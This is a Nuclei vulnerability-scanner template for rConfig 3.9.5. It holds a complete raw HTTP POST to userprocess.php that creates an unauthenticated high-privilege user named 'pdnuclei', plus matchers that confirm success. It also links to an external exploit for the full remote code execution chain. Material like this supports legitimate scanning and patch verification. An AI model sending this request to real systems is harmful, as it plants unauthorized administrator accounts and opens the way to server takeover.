id: rconfig-rce

info:
  name: rConfig 3.9.5 - Remote Code Execution
  author: dwisiswant0
  severity: high
  tags: rconfig,rce

  # This template supports the user creation part only.
  # To triggering an RCE, see references[2].
  # References:
  # - [1] https://www.rconfig.com/downloads/rconfig-3.9.5.zip
  # - [2] https://www.exploit-db.com/exploits/48878

requests:
  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        User-Agent: python-requests/2.23.0
        Connection: close
        Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
        Upgrade-Insecure-Requests: 1
        Cookie: PHPSESSID=pdnuclei

        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="username"

        pdnuclei
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="passconf"

        Testing1@
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="password"

        Testing1@
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="email"

        nuclei@projectdiscovery.io
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="editid"


        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="add"

        add
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="ulevelid"

        9
        --01b28e152ee044338224bf647275f8eb--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "User pdnuclei successfully added to Database"
        part: body
      - type: status
        status:
          - 302